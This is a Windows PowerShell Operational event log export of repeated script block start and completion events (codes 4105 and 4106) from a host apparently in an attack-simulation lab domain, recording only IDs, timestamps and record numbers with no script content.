Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031231
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031226
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031225
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031201
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031199
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031198
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
